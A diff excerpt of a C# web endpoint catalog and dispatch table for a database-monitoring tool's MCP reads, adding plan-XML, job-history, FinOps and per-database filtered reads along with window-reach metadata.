+            ["get_object_locking"] = R(CatObjects, "Per-object locking/contention stats.", PServer(), PLimit(200), PDatabases(), PText("detail_database"), PText("detail_schema"), PText("detail_table"), PText("detail_index")),
+            ["get_table_index_sizes"] = R(CatObjects, "Per-table/index size breakdown.", PServer(), PDatabases()),
 
             /* ── plan cache / scheduler (DarlingMcpPlanCacheSchedulerTools) ── */
             ["get_cpu_scheduler_pressure"] = R(CatPlanCache, "CPU scheduler pressure indicators from the newest snapshot within the window.", PServer(), PHours(24), PAsOf()),
@@ -2643,12 +4738,22 @@ private static CatalogRead R(string category, string description, params Catalog
 
             /* ── jobs (DarlingMcpJobTools) ── */
             ["get_running_jobs"] = R(CatJobs, "Currently-running SQL Agent jobs.", PServer()),
+            ["get_job_history"] = R(CatJobs, "Retained SQL Agent job runs, newest first; omit server for every server.", PServer(), PHours(24), PText("job_name"), PText("status"), PText("category"), PLimit(100), PAsOf()),
 
             /* ── stored plan XML (DarlingMcpPlanTools; the analyze_*_plan compute family stays excluded) ── */
             ["get_plan_xml"] = R(CatPlans, "The stored execution-plan XML for a query (requires query_hash).", PReqText("query_hash"), PServer(), PText("database_name")),
+            /* #5228: the three grid-row plan reads — point reads by a row's own key, so no window (no PHours/PAsOf). */
+            ["get_query_store_plan_xml"] = R(CatPlans, "The stored Query Store plan XML for a query (requires database_name, query_id).", PReqText("database_name"), PReqInt("query_id"), PServer(), PInt("plan_id")),
+            ["get_procedure_plan_xml"] = R(CatPlans, "The stored plan XML for a procedure (requires sql_handle).", PReqText("sql_handle"), PServer()),
+            ["get_active_query_plan_xml"] = R(CatPlans, "The plan captured with one Active Queries row (requires collection_time, session_id).", PReqText("collection_time"), PReqInt("session_id"), PServer(), PInt("request_id", 0), PBool("live", false)),
+            /* #5236: the Blocking and Deadlocks grids' plan reads, the same point-read shape: no window (no PHours/PAsOf). */
+            ["get_blocking_plan_xml"] = R(CatPlans, "The plan stored with one Blocking row (requires event_time, blocked_spid, blocking_spid); side=blocking for the blocker's plan.", PReqText("event_time"), PReqInt("blocked_spid"), PReqInt("blocking_spid"), PServer(), PInt("blocked_ecid", 0), PInt("blocking_ecid", 0), PTextDefault("side", "blocked"), PText("database_name")),
+            ["get_deadlock_plan_xml"] = R(CatPlans, "The victim's plan stored with one Deadlocks row (requires collection_time, deadlock_time).", PReqText("collection_time"), PReqText("deadlock_time"), PServer(), PText("victim_process_id"), PText("database_name")),
+            /* #5233: a repro script built from the stored text and plan — store-only, nothing runs. */
+            ["get_query_repro_script"] = R(CatPlans, "A T-SQL repro script built from a stored query's text and plan (requires kind and its key).", PReqText("kind"), PServer(), PText("database_name"), PText("query_hash"), PInt("query_id"), PInt("plan_id"), PText("collection_time"), PInt("session_id"), PInt("request_id", 0)),
 
             /* ── default trace (DarlingMcpDefaultTraceTools) ── */
-            ["get_default_trace_events"] = R(CatDefaultTrace, "Default-trace events (file growth, DDL, security).", PServer(), PHours(24), PLimit(100), PAsOf()),
+            ["get_default_trace_events"] = R(CatDefaultTrace, "Default-trace events (file growth, DDL, security).", PServer(), PHours(24), PLimit(100), PAsOf(), PDatabases()),
 
             /* ── system_health parse-on-read family (DarlingMcpHealthParserTools) ── */
             ["get_health_parser_cpu_tasks"] = R(CatSystemHealth, "system_health: CPU-bound task snapshots.", PServer(), PHours(24), PLimit(50), PAsOf()),
@@ -2657,15 +4762,38 @@ private static CatalogRead R(string category, string description, params Catalog
             ["get_health_parser_memory_conditions"] = R(CatSystemHealth, "system_health: resource-monitor memory conditions.", PServer(), PHours(24), PLimit(50), PAsOf()),
             ["get_health_parser_memory_node_oom"] = R(CatSystemHealth, "system_health: per-node out-of-memory events.", PServer(), PHours(24), PLimit(50), PAsOf()),
             ["get_health_parser_scheduler_issues"] = R(CatSystemHealth, "system_health: non-yielding scheduler issues.", PServer(), PHours(24), PLimit(50), PAsOf()),
-            ["get_health_parser_severe_errors"] = R(CatSystemHealth, "system_health: severe (sev >= 17) errors.", PServer(), PHours(24), PLimit(50), PAsOf()),
+            ["get_health_parser_severe_errors"] = R(CatSystemHealth, "system_health: severe (sev >= 19) errors.", PServer(), PHours(24), PLimit(50), PAsOf(), PDatabases()),
             ["get_health_parser_significant_waits"] = R(CatSystemHealth, "system_health: individual 500 ms+ waits with their statement.", PServer(), PHours(24), PLimit(50), PAsOf()),
             ["get_health_parser_system_health"] = R(CatSystemHealth, "system_health: the raw parsed session records.", PServer(), PHours(24), PLimit(50), PAsOf()),
+            // FinOps web parity (#4843), set A: append new FinOps entries below this line only.
+            ["get_finops_inventory"] = R(CatFinOps, "FinOps Server Inventory for the whole fleet, one row per configured server. view is server_inventory; limit caps servers returned; include_removed adds servers removed from the configuration.", PText("view"), PInt("limit", DarlingMcpFinOpsInventoryTools.DefaultLimit), PBool("include_removed", false)),
+            ["get_finops_recommendations"] = R(CatFinOps, "FinOps recommendations for one server, High severity first; est_savings_usd_month is null without a monthly cost.", PServer()),
+            // FinOps web parity (#4843), set A ends.
+            // Each set belongs to one series of changes. Append to your own set only,
+            // so the two series never edit the same lines of this catalog.
+            // Entries keep the catalog's existing order and form.
+            // Set A and set B are separated on purpose: keep this gap.
+            //
+            //
+            //
+            // FinOps web parity (#4843), set B: append new FinOps entries below this line only.
+            ["get_finops"] = R(CatFinOps, "FinOps views for one server, picked by view. view is one of a closed set (today: " + DarlingMcpFinOpsTools.SetAValid + DarlingMcpFinOpsTools.SetBValid + "); an unknown view is refused with the valid list. Windowed over hours; limit caps rows per list.", PServer(), PText("view"), PHours(24), PInt("limit", 10), PText("database_name"), PBool("full_text", false), PText("object_name")),
+            // FinOps web parity (#4843), set B ends.
         };
 
     /// <summary>Builds the <c>/api/catalog</c> body: the reads (names taken from <see cref="BuildReadDispatch"/>,
     /// each enriched with its <see cref="CatalogDescriptors"/> metadata) and the viz vocabulary. Iterating the
     /// dispatch keys guarantees the catalog only advertises actually-dispatchable reads.</summary>
-    internal static JsonObject BuildCatalogNode()
+    internal static JsonObject BuildCatalogNode() => BuildCatalogNode(null, Array.Empty<ScheduleOverride>());
+
+    /// <summary>
+    /// The catalog with each windowed read's reach (#5562): its <c>hours</c> param carries <c>max_hours</c> (the longest
+    /// window the read's validator accepts, from <see cref="WebReadReach"/>), <c>shape</c>, and the main collector's
+    /// <c>collector</c> id, <c>collector_interval_minutes</c> (the schedule in force: <paramref name="schedules"/> over
+    /// the shipped default) and <c>collector_default_interval_minutes</c>, so the picker can grey out a longer period
+    /// with its reason and say "collected every N minutes" under a range too short to hold three samples.
+    /// </summary>
+    internal static JsonObject BuildCatalogNode(int? serverId, IReadOnlyList<ScheduleOverride> schedules)
     {
         var reads = new JsonArray();
         foreach (var name in BuildReadDispatch().Keys)
@@ -2674,13 +4802,19 @@ internal static JsonObject BuildCatalogNode()
             var parameters = new JsonArray();
             foreach (var p in descriptor.Params)
             {
-                parameters.Add(new JsonObject
+                var param = new JsonObject
                 {
                     ["name"] = p.Name,
                     ["type"] = p.Type,
                     ["required"] = p.Required,
                     ["default"] = ToJsonValue(p.Default),
-                });
+                };
+                if (p.Name == "hours")
+                {
+                    AddReach(param, name, serverId, schedules);
+                }
+
+                parameters.Add(param);
             }
 
             reads.Add(new JsonObject
@@ -2702,6 +4836,39 @@ internal static JsonObject BuildCatalogNode()
         return new JsonObject { ["reads"] = reads, ["viz"] = viz, ["compose"] = BuildComposeCatalogNode() };
     }
 
+    /// <summary>Adds a windowed read's reach to its <c>hours</c> catalog param (#5562). A read with no row in
+    /// <see cref="WebReadReach.All"/> is advertised at the default reach with no collector; a census keeps that case
+    /// from shipping.</summary>
+    private static void AddReach(JsonObject param, string read, int? serverId, IReadOnlyList<ScheduleOverride> schedules)
+    {
+        WebReadReach.All.TryGetValue(read, out var reach);
+        var shape = reach?.Shape switch
+        {
+            ReadShape.BucketedTrend => "bucketed_trend",
+            ReadShape.LatestSnapshot => "latest_snapshot",
+            _ => "list",
+        };
+        var collector = reach?.Collector;
+        param["max_hours"] = reach?.MaxHours ?? WebReadReach.DefaultHours;
+        if (WebReadReach.ViewMaxHours.TryGetValue(read, out var views))
+        {
+            var viewReach = new JsonObject();
+            foreach (var (view, hours) in views)
+            {
+                viewReach[view] = hours;
+            }
+
+            param["view_max_hours"] = viewReach;
+        }
+
+        param["shape"] = shape;
+        param["collector"] = collector;
+        param["collector_interval_minutes"] = WebReadReach.CollectorIntervalMinutes(collector, serverId, schedules);
+        param["collector_default_interval_minutes"] = collector is not null && CollectorScheduleDefaults.All.TryGetValue(collector, out var def)
+            ? CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(def.FrequencyMinutes)
+            : null;
+    }
+
     /// <summary>
     /// The v2 (Custom Views composer) catalog: the measure/dimension/unit-family/aggregate/time-bucket/filter-op
     /// vocabularies the composer picks from, straight off <see cref="MeasureCatalog"/> (the SOLE identifier
@@ -3335,12 +5502,22 @@ internal static IReadOnlyDictionary<string, ReadToolHandler> BuildReadDispatch(I
             ["get_analysis_findings"] = (c, pg, an) => DarlingMcpTools.GetAnalysisFindings(an, pg, Server(c), Hours(c, 24), Rows(c, "limit", MaxRowLimit), QueryBool(c, "include_drilldown", false), QueryBool(c, "full_text", true), as_of: AsOf(c), logger: logger, cancellationToken: c.RequestAborted),
 
             /* ── sessions ── */
-            ["get_active_queries"] = (c, pg, an) => DarlingMcpSessionTools.GetActiveQueries(pg, Server(c), Hours(c, 1), Str(c, "database_name"), QueryBool(c, "blocking_only", false), Rows(c, "limit", 50), 2000, AsOf(c), c.RequestAborted),
+            ["get_active_queries"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpSessionTools.GetActiveQueries(pg, Server(c), Hours(c, 1), databases, QueryBool(c, "blocking_only", false), Str(c, "wait_type"), Rows(c, "limit", 50), 2000, AsOf(c), logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_session_stats"] = (c, pg, an) => DarlingMcpSessionTools.GetSessionStats(pg, Server(c), c.RequestAborted),
-            ["get_waiting_tasks"] = (c, pg, an) => DarlingMcpSessionTools.GetWaitingTasks(pg, Server(c), Hours(c, 1), Rows(c, "limit", 30), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_waiting_tasks"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpSessionTools.GetWaitingTasks(pg, Server(c), Hours(c, 1), Rows(c, "limit", 30), databases, AsOf(c), logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
 
             /* ── alerts / mute rules ── */
             ["get_alert_history"] = (c, pg, an) => DarlingMcpAlertTools.GetAlertHistory(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), include_dismissed: QueryBool(c, "include_dismissed", false), cancellationToken: c.RequestAborted),
+            ["get_alert_details"] = (c, pg, an) => First(c, "server_id") is null ? MissingParam("server_id")
+                : !RequireText(c, "metric_name", out var detailsMetric) ? MissingParam("metric_name")
+                : !RequireText(c, "alert_time", out var detailsTime) ? MissingParam("alert_time")
+                : int.TryParse(First(c, "server_id"), NumberStyles.Integer, CultureInfo.InvariantCulture, out var detailsServerId)
+                    ? DarlingMcpAlertTools.GetAlertDetails(pg, detailsServerId, detailsMetric, detailsTime, c.RequestAborted)
+                    : DarlingMcpAlertTools.GetAlertDetails(pg, 0, "", detailsTime, c.RequestAborted),
             ["get_alert_settings"] = (c, pg, an) => DarlingMcpAlertTools.GetAlertSettings(pg, c.RequestAborted),
             ["get_mute_rules"] = (c, pg, an) => DarlingMcpAlertTools.GetMuteRules(pg, QueryBool(c, "enabled_only", true), c.RequestAborted),
             ["get_notification_routes"] = (c, pg, an) => DarlingMcpAlertTools.GetNotificationRoutes(pg, c.RequestAborted),
@@ -3360,22 +5537,29 @@ logger is the tool's logger seat — the web host's SERVICE logger when MapAll b
             ["get_sweep_reports"] = (c, pg, an) => DarlingMcpFleetSweepTools.GetSweepReports(pg, logger, Hours(c, 1), AsOf(c), Str(c, "sweep_id"), Str(c, "watch_state"), c.RequestAborted),
 
             /* ── blocking / deadlocks ── */
-            ["get_blocked_process_xml"] = (c, pg, an) => DarlingMcpBlockingTools.GetBlockedProcessXml(pg, Server(c), Hours(c, 24), Rows(c, "limit", 5), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_blocked_process_xml"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpBlockingTools.GetBlockedProcessXml(pg, Server(c), Hours(c, 24), Rows(c, "limit", 5), AsOf(c), databases, logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #4198: the internal overload, not the MCP tool wrapper — pins the OLD row limit (30) and the
                OLD 2000-char text cap (WebSqlTextPreviewLength) explicitly, so this page does not change even
                though the tool's own MCP defaults (limit 15, 150-char preview) did. Same shape #3897's trend
                tools use to pass TrendBudget.Chart here instead of their own MCP point budget. */
-            ["get_blocking"] = (c, pg, an) => DarlingMcpBlockingTools.GetBlocking(pg, Server(c), Hours(c, 24), Rows(c, "limit", 30), null, false, AsOf(c), DarlingMcpBlockingTools.WebSqlTextPreviewLength, registryState, c.RequestAborted),
-            ["get_blocking_trend"] = (c, pg, an) => DarlingMcpBlockingTools.GetBlockingTrend(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_blocking"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpBlockingTools.GetBlocking(pg, Server(c), Hours(c, 24), Rows(c, "limit", 30), null, false, AsOf(c), databases, DarlingMcpBlockingTools.WebSqlTextPreviewLength, registryState, logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_blocking_trend"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpBlockingTools.GetBlockingTrend(pg, Server(c), Hours(c, 24), AsOf(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #4254: full_graph defaults false on the MCP signature (a preview keeps a busy production
                store's tools/list-driven call under the shared response budget), but the web viewer has
                always shown the whole graph. The row pins its OWN default to true so #4198's MCP-side
                budget cut does not silently shrink what the viewer renders. */
-            ["get_deadlock_detail"] = (c, pg, an) => DarlingMcpBlockingTools.GetDeadlockDetail(pg, Server(c), Hours(c, 24), Rows(c, "limit", 5), full_graph: QueryBool(c, "full_graph", true), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            /* #5246: the drawn graph is added here for the web only, so the MCP tool's payload, response budget and Lite parity do not change. */
+            ["get_deadlock_detail"] = async (c, pg, an) => DarlingWebDeadlockGraph.AddGraphs(await DarlingMcpBlockingTools.GetDeadlockDetail(pg, Server(c), Hours(c, 24), Rows(c, "limit", 5), full_graph: QueryBool(c, "full_graph", true), as_of: AsOf(c), logger: logger, cancellationToken: c.RequestAborted)),
             ["get_deadlock_trend"] = (c, pg, an) => DarlingMcpBlockingTools.GetDeadlockTrend(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_deadlocks"] = (c, pg, an) => DarlingMcpBlockingTools.GetDeadlocks(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), registryState: registryState, cancellationToken: c.RequestAborted),
+            ["get_deadlocks"] = (c, pg, an) => DarlingMcpBlockingTools.GetDeadlocks(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), registryState: registryState, logger: logger, cancellationToken: c.RequestAborted),
             ["get_lock_wait_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpBlockingTools.GetLockWaitTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpBlockingTools.GetLockWaitTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
 
             /* ── automatic plan correction (#2028) ── */
@@ -3383,15 +5567,25 @@ budget cut does not silently shrink what the viewer renders. */
                keeps a busy production server's default call under the shared response budget), but the
                web viewer has always shown the whole query text. The row pins its OWN default to true so
                #4198's MCP-side budget cut does not silently truncate what the viewer renders. */
-            ["get_plan_corrections"] = (c, pg, an) => DarlingMcpPlanCorrectionTools.GetPlanCorrections(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), as_of: AsOf(c), full_text: QueryBool(c, "full_text", true), cancellationToken: c.RequestAborted),
+            ["get_plan_corrections"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpPlanCorrectionTools.GetPlanCorrections(pg, Server(c), Hours(c, 24), Rows(c, "limit", 50), AsOf(c), QueryBool(c, "full_text", true), databases, null, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
 
             /* ── config (current + history) ── */
-            ["get_database_config"] = (c, pg, an) => DarlingMcpConfigTools.GetDatabaseConfig(pg, Server(c), Str(c, "database_name"), c.RequestAborted),
+            ["get_database_config"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpConfigTools.GetDatabaseConfig(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_server_config"] = (c, pg, an) => DarlingMcpConfigTools.GetServerConfig(pg, Server(c), c.RequestAborted),
             ["get_trace_flags"] = (c, pg, an) => DarlingMcpConfigTools.GetTraceFlags(pg, Server(c), c.RequestAborted),
-            ["get_database_config_changes"] = (c, pg, an) => DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(pg, Server(c), Hours(c, 168), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_database_scoped_config"] = (c, pg, an) => DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(pg, Server(c), Str(c, "database_name"), cancellationToken: c.RequestAborted),
-            ["get_query_store_health"] = (c, pg, an) => DarlingMcpConfigHistoryTools.GetQueryStoreHealth(pg, Server(c), Str(c, "database_name"), c.RequestAborted),
+            ["get_database_config_changes"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(pg, Server(c), Hours(c, 168), databases, AsOf(c), null, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_database_scoped_config"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpConfigHistoryTools.GetDatabaseScopedConfig(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_query_store_health"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpConfigHistoryTools.GetQueryStoreHealth(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_server_config_changes"] = (c, pg, an) => DarlingMcpConfigHistoryTools.GetServerConfigChanges(pg, Server(c), Hours(c, 168), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_trace_flag_changes"] = (c, pg, an) => DarlingMcpConfigHistoryTools.GetTraceFlagChanges(pg, Server(c), Hours(c, 168), as_of: AsOf(c), cancellationToken: c.RequestAborted),
 
@@ -3409,36 +5603,63 @@ web viewer keeps that behavior (an operator reading the Collection Log grid gets
             ["get_collection_log"] = (c, pg, an) => OptionalDouble(c, "min_duration_ms", out var minDurationMs)
                 ? DarlingMcpDataTools.GetCollectionLog(pg, Server(c), Hours(c, 24), Rows(c, "limit", 200), AsOf(c), Str(c, "collector_name"), minDurationMs, status: Str(c, "status"), full_text: true, cancellationToken: c.RequestAborted)
                 : UnparseableParam("min_duration_ms"),
-            ["get_current_waits_trend"] = (c, pg, an) => DarlingMcpDataTools.GetCurrentWaitsTrend(pg, Server(c), Hours(c, 4), Str(c, "database_name"), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_blocking_stats"] = (c, pg, an) => DarlingMcpDataTools.GetBlockingStats(pg, Server(c), Hours(c, 24), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_current_waits_trend"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetCurrentWaitsTrend(pg, Server(c), Hours(c, 4), databases, AsOf(c), c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_blocking_stats"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetBlockingStats(pg, Server(c), Hours(c, 24), databases, AsOf(c), logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #3960: the core trends a page charts take the CHART budget and bind bucket_minutes, as the trends
                below do (#3897). */
             ["get_cpu_utilization"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpDataTools.GetCpuUtilization(pg, Server(c), Hours(c, 4), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpDataTools.GetCpuUtilization(pg, Server(c), Hours(c, 4), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
-            ["get_file_io_stats"] = (c, pg, an) => DarlingMcpDataTools.GetFileIoStats(pg, Server(c), c.RequestAborted),
+            ["get_file_io_stats"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetFileIoStats(pg, Server(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_memory_clerks"] = (c, pg, an) => DarlingMcpDataTools.GetMemoryClerks(pg, Server(c), c.RequestAborted),
             ["get_memory_stats"] = (c, pg, an) => DarlingMcpDataTools.GetMemoryStats(pg, Server(c), c.RequestAborted),
             ["get_perfmon_stats"] = (c, pg, an) => DarlingMcpDataTools.GetPerfmonStats(pg, Server(c), Str(c, "counter_name"), Str(c, "instance_name"), c.RequestAborted),
-            ["get_query_heatmap"] = (c, pg, an) => DarlingMcpQueryHeatmapTools.GetQueryHeatmap(pg, Server(c), Hours(c, 24), Str(c, "metric"), Str(c, "database_name"), QueryInt(c, "bucket_minutes", null, 5), Rows(c, "limit", 500), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_query_heatmap"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpQueryHeatmapTools.GetQueryHeatmap(pg, Server(c), Hours(c, 24), Str(c, "metric"), databases, QueryInt(c, "bucket_minutes", null, 5), Rows(c, "limit", 500), as_of: AsOf(c), full_text: false, logger: logger, cancellationToken: c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #4198: full_text defaults false on the MCP signature (a 240-character preview keeps a busy
                production store's default call under the shared response budget), but the web viewer has
                always shown the whole query text. The row pins its OWN default to true so the MCP-side
                budget cut does not silently shrink what the viewer renders. */
-            ["get_query_store_regressions"] = (c, pg, an) => DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(pg, Server(c), Hours(c, 24), Str(c, "database_name"), Rows(c, "limit", 50), full_text: QueryBool(c, "full_text", true), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_query_store_clutter"] = (c, pg, an) => DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(pg, Server(c), Hours(c, 24), Rows(c, "limit", DarlingMcpQueryStoreClutterTools.DefaultLimit), QueryBool(c, "include_fleet_median", false), AsOf(c), c.RequestAborted),
+            ["get_query_store_regressions"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpQueryStoreRegressionTools.GetQueryStoreRegressions(pg, Server(c), Hours(c, 24), databases, Rows(c, "limit", 50), full_text: QueryBool(c, "full_text", true), as_of: AsOf(c), logger: logger, cancellationToken: c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_query_store_clutter"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpQueryStoreClutterTools.GetQueryStoreClutter(pg, Server(c), Hours(c, 24), Rows(c, "limit", DarlingMcpQueryStoreClutterTools.DefaultLimit), QueryBool(c, "include_fleet_median", false), AsOf(c), databases, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             /* #4198: query_text already had a 2000-character cap before this tool had a full_text opt-in at
                all, so the viewer keeps that exact number through the previewLength overload -- QueryBool
                still lets an operator ask for the whole statement via ?full_text=true, but the default (no
                query override) reproduces the page exactly as it always rendered. */
-            ["get_query_store_top"] = (c, pg, an) => DarlingMcpDataTools.GetQueryStoreTop(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), Str(c, "database_name"), as_of: AsOf(c), execution_type: Str(c, "execution_type"), module_name: Str(c, "module_name"), full_text: QueryBool(c, "full_text", false), previewLength: 2000, cancellationToken: c.RequestAborted),
-            ["get_long_query_completions"] = (c, pg, an) => DarlingMcpLongQueryTools.GetLongQueryCompletions(pg, Server(c), Hours(c, 24), Rows(c, "limit", 30), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            /* #5234: the History button's read. The same refusal ladder as get_query_store_plan_xml: a key that is present
+               but unreadable is refused, never defaulted. */
+            ["get_query_store_query_history"] = (c, pg, an) => !RequireText(c, "database_name", out var qshDatabase)
+                ? MissingParam("database_name")
+                : !OptionalLong(c, "query_id", out var qshQueryId) ? UnparseableParam("query_id")
+                : qshQueryId is null ? MissingParam("query_id")
+                : DarlingMcpQueryStoreHistoryTools.GetQueryStoreQueryHistory(pg, qshDatabase, qshQueryId.Value, Server(c), Hours(c, 24), AsOf(c), c.RequestAborted),
+            ["get_query_store_top"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetQueryStoreTop(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), databases, as_of: AsOf(c), execution_type: Str(c, "execution_type"), module_name: Str(c, "module_name"), full_text: QueryBool(c, "full_text", false), previewLength: 2000, cancellationToken: c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_long_query_completions"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpLongQueryTools.GetLongQueryCompletions(pg, Server(c), Hours(c, 24), Rows(c, "limit", 30), AsOf(c), databases, logger, c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_server_properties"] = (c, pg, an) => DarlingMcpDataTools.GetServerProperties(pg, Server(c), c.RequestAborted),
             ["get_tempdb_trend"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpDataTools.GetTempDbTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpDataTools.GetTempDbTrend(pg, Server(c), Hours(c, 24), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
-            ["get_top_procedures_by_cpu"] = (c, pg, an) => DarlingMcpDataTools.GetTopProceduresByCpu(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), Str(c, "database_name"), as_of: AsOf(c), cancellationToken: c.RequestAborted),
-            ["get_top_queries_by_cpu"] = (c, pg, an) => DarlingMcpDataTools.GetTopQueriesByCpu(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), Str(c, "database_name"), QueryBool(c, "parallel_only", false), QueryInt(c, "min_dop", null, 0), as_of: AsOf(c), cancellationToken: c.RequestAborted),
+            ["get_top_procedures_by_cpu"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetTopProceduresRanked(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), databases, as_of: AsOf(c), detail: Str(c, "detail") ?? "summary", order_by: Str(c, "order_by"), cancellationToken: c.RequestAborted)
+                : DatabaseNamesRefusal(c),
+            ["get_top_queries_by_cpu"] = (c, pg, an) => DatabaseNames(c) is { } databases
+                ? DarlingMcpDataTools.GetTopQueriesRanked(pg, Server(c), Hours(c, 24), Rows(c, "top", 20), databases, QueryBool(c, "parallel_only", false), QueryInt(c, "min_dop", null, 0), group_by: "query_hash", as_of: AsOf(c), detail: Str(c, "detail") ?? "summary", order_by: Str(c, "order_by"), cancellationToken: c.RequestAborted)
+                : DatabaseNamesRefusal(c),
             ["get_pg_top_queries"] = (c, pg, an) => DarlingMcpPgStatementTools.GetPgTopQueries(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             /* query_id arrives as TEXT and is passed through as text (#2548): a queryid that made a
                round trip through a JSON number has already been rounded, and the tool rejects one it
@@ -3453,7 +5674,7 @@ cannot parse exactly rather than silently matching nothing. */
             ["get_pg_io_stats"] = (c, pg, an) => DarlingMcpPgIoTools.GetPgIoStats(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_wait_stats"] = (c, pg, an) => DarlingMcpPgWaitTools.GetPgWaitStats(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_cpu_utilization"] = (c, pg, an) => OptionalInt(c, "bucket_minutes", out var bucketMinutes)
-                ? DarlingMcpPgCpuUtilizationTools.GetPgCpuUtilization(pg, Server(c), Hours(c, 4), AsOf(c), bucketMinutes, TrendBudget.Chart, c.RequestAborted)
+                ? DarlingMcpPgCpuUtilizationTools.GetPgCpuUtilization(pg, Server(c), Hours(c, 4), AsOf(c), bucketMinutes, TrendBudget.Chart, cancellationToken: c.RequestAborted)
                 : UnparseableParam("bucket_minutes"),
             ["get_pg_wait_sampling"] = (c, pg, an) => DarlingMcpPgWaitSamplingTools.GetPgWaitSampling(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
             ["get_pg_kernel_stats"] = (c, pg, an) => DarlingMcpPgKernelStatsTools.GetPgKernelStats(pg, Server(c), Hours(c, 24), Rows(c, "limit", 20), as_of: AsOf(c), cancellationToken: c.RequestAborted),
